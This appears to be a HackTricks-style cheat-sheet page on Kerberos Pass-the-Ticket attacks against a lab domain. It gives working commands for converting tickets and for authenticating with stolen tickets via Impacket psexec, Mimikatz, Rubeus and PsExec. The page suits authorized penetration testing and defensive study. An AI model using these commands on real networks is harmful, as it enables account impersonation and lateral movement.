// HackTricks · Windows

Pass the Ticket

Pass the Ticket

Overview

In a Pass-the-Ticket (PtT) attack, an adversary uses a stolen Kerberos ticket to authenticate as the ticket’s principal without possessing that account’s password. A ticket-granting ticket (TGT) can be used to request service tickets, while a stolen service ticket is limited to its target service and validity period.[1]

For ticket acquisition techniques, see:

Converting Linux and Windows Ticket Formats

Kerberos caches commonly appear as MIT ccache files on Linux and .kirbi files on Windows. ticket_converter converts between these formats using an input ticket and output path.[2]

python ticket_converter.py velociraptor.ccache velociraptor.kirbi
# Expected message: Converting ccache => kirbi
python ticket_converter.py velociraptor.kirbi velociraptor.ccache
# Expected message: Converting kirbi => ccache

Kekeo also provides Kerberos ticket tooling on Windows.[3]

Using a Ticket

On Linux, point KRB5CCNAME to the cache and instruct an Impacket client to use Kerberos without prompting for a password:[4]

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass

On Windows, Mimikatz or Rubeus can import a .kirbi ticket into the current logon session. Use klist to inspect the resulting cache.[5][6]

mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
.\Rubeus.exe ptt /ticket:'[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi'
klist
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

Ticket import does not grant privileges beyond those represented by the ticket and the target service’s authorization policy. Expired, revoked, malformed, or incorrectly scoped tickets may fail.[1]

For broader Kerberos attack context and related ticket-acquisition techniques, see Tarlogic’s Kerberos attack guide.[7]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.